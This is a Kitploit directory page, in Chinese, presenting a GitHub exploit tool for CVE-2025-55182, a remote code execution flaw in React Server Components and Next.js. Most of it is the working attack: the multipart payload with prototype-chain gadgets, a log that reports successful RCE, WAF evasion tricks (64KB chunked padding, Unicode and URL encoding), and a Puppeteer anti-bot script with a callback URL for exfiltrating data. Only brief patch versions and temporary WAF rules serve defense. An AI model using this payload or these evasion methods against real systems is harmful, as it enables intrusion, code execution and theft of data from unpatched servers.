Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-bypass — CVE-2025-55182(React Server Components 远程代码执行)的 Header 绕过。 | Kitploit
工具/GitHubGitHub/ejpir/cve-2025-55182-bypass
漏洞分析漏洞利用IDS/IPS规避Web应用程序漏洞利用WAF绕过渗透测试红队Payload 开发
GitHubejpir/cve-2025-55182-bypass

CVE-2025-55182-bypass

CVE-2025-55182(React Server Components 远程代码执行)的 Header 绕过。

查看仓库
6339个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 请求头绕过

针对 CVE-2025-55182 的 Next-Action 请求头绕过。无需特征请求头即可实现 React RSC RCE,从而绕过 WAF 规则。

关键发现

利用过程无需 Next-Action 请求头。

攻击向量Next-Action 请求头WAF 检测
原始 CVE必需可检测
本绕过无需规避请求头规则

工作原理

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│                        ORIGINAL EXPLOIT (with header)                        │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Next-Action: <action-id>  ← Header required                                │
│  Content-Type: multipart/form-data                                          │
│                                                                             │
│  isFetchAction = true → decodeReply() → Chunk.prototype.then() → RCE       │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│                        HEADER BYPASS (no header)                             │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data  ← NO Next-Action header!                │
│                                                                             │
│  isMultipartAction = true → decodeAction() → loadServerReference()          │
│      → Promise.all([bound]) → bound.then() → RCE                            │
└─────────────────────────────────────────────────────────────────────────────┘

根本原因

root@kitploit:~
const isServerAction = isFetchAction || isURLEncodedAction || isMultipartAction;

if (isMultipartAction && !isFetchAction) {
    const action = await decodeAction(formData, serverModuleMap); // BYPASS PATH
    await action();  // RCE
}

利用流程

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 1: Extract Action ID                                                   │
│  GET / → Extract from hidden inputs: <input name="$ACTION_ID_<40-hex>"/>    │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 2: Send Exploit (NO Next-Action header)                                │
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data; boundary=x                              │
│                                                                             │
│  $ACTION_REF_0: x                                                           │
│  $ACTION_0:0: {"id":"<ACTION_ID>","bound":"$@1"}                            │
│  $ACTION_0:1: <exploit payload>                                             │
│  $ACTION_0:2: "$@1"                                                         │
│  $ACTION_0:3: []                                                            │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 3: Thenable Chain Execution                                            │
│                                                                             │
│  bound: "$@1" → Chunk(1)                                                    │
│      → Promise.all([bound]) calls bound.then()                              │
│      → then: "$2:__proto__:then" → Chunk.prototype.then()                   │
│      → initializeModelChunk() → "$B1337" handler                            │
│      → _formData.get = "$2:constructor:constructor" → Function              │
│      → Function(RCE_CODE) → Code Execution                                  │
└─────────────────────────────────────────────────────────────────────────────┘

示例输出

root@kitploit:~
❯ node test-bypass-2step.cjs
============================================================
CVE-2025-55182 Header Bypass - 2-Step Exploit
============================================================
Target: http://localhost:3000/

[Step 1] Fetching page to extract action IDs...
 ✓ Compiled / in 1105ms (523 modules)
[+] Found 1 action ID(s):
    c1cfa77a4481950d44c534f3a8174689deaefe80

[Step 2] Sending exploit payload (NO Next-Action header)...

------------------------------------------------------------
REQUEST HEADERS:
------------------------------------------------------------
POST / HTTP/1.1
Host: localhost:3000
Content-Type: multipart/form-data; boundary=----FormBoundary1765143043445
(NO Next-Action header!)

------------------------------------------------------------
REQUEST BODY (multipart form):
------------------------------------------------------------
$ACTION_REF_0: x
$ACTION_0:0 (metadata): {"id":"c1cfa77a4481950d44c534f3a8174689deaefe80","bound":"$@1"}
$ACTION_0:1 (exploit):  {"then":"$2:__proto__:then","status":"resolved_model",...}
$ACTION_0:2 (circular): "$@1"
$ACTION_0:3 (empty):    []

============================================================
*** RCE SUCCESSFUL! ***
============================================================
Proof: 2-STEP RCE SUCCESS 1765143043451

载荷结构

root@kitploit:~
// $ACTION_0:0 - Action metadata
{"id": "<40-char-action-id>", "bound": "$@1"}

// $ACTION_0:1 - Exploit object
{
  "then": "$2:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<RCE_CODE>//",
    "_chunks": "$Q3",
    "_formData": {"get": "$2:constructor:constructor"}
  }
}

// $ACTION_0:2 - Circular reference
"$@1"

// $ACTION_0:3 - Empty array for Map
[]

WAF 绕过技术

技术方法已验证
分块填充64KB+ 填充数据耗尽 WAF 缓冲区✓ RCE
Unicode 转义用 \u0074\u0068\u0065\u006e 表示 then✓
URL 编码名称%24ACTION_REF_0✓
可变索引$ACTION_REF_abc、$ACTION_XyZ:0✓ RCE

带填充的分块传输

root@kitploit:~
POST / HTTP/1.1
Transfer-Encoding: chunked

10200                         ← 64KB padding
--x
Content-Disposition: form-data; name="data"
AAAA... (64KB)
--x
Content-Disposition: form-data; name="$ACTION_REF_0"
...
0

受影响版本

软件包受影响版本已修复版本
react-server-dom-webpack19.0.0 - 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

测试

root@kitploit:~
npm install
npm run build && npm run start

# Run exploit
node test-chunked-v14.cjs      # For AWS WAF testing
node test-bypass-2step.cjs     # 2-step automated

# Verify
cat /tmp/2STEP-RCE.txt

反机器人绕过(Puppeteer)

对于启用 JS 质询的目标(如 Vercel、Cloudflare),请使用基于 Puppeteer 的利用脚本:

root@kitploit:~
node antibot.cjs [options]

Options:
  -t, --target <host>    Target hostname
  -p, --port <port>      Target port
  -c, --callback <url>   Callback URL for data exfil
  --http                 Use HTTP instead of HTTPS
  --https                Use HTTPS (default)
  -h, --help             Show help

Examples:
  node antibot.cjs -t example.vercel.app
  node antibot.cjs -t localhost -p 3000 --http
  node antibot.cjs -t target.com -c https://callback.example.com/exfil

修复建议

升级补丁是唯一可靠的修复方式。

临时 WAF 规则

  1. 拦截请求体中 $ACTION_REF_ 前缀(先进行 URL 解码)
  2. 拦截 $ACTION_[^:]+: 正则模式
  3. 匹配前先规范化 Unicode
  4. 跳过大型字段(>8KB),继续解析较小的字段

致谢

  • CVE-2025-55182 原始发现: Assetnote Research (react2shell.com)
  • 利用链: maple3142
  • 请求头绕过发现: 独立研究

参考链接

  • CVE-2025-55182
  • Next.js 安全公告
  • AWS WAF 规则
下载工具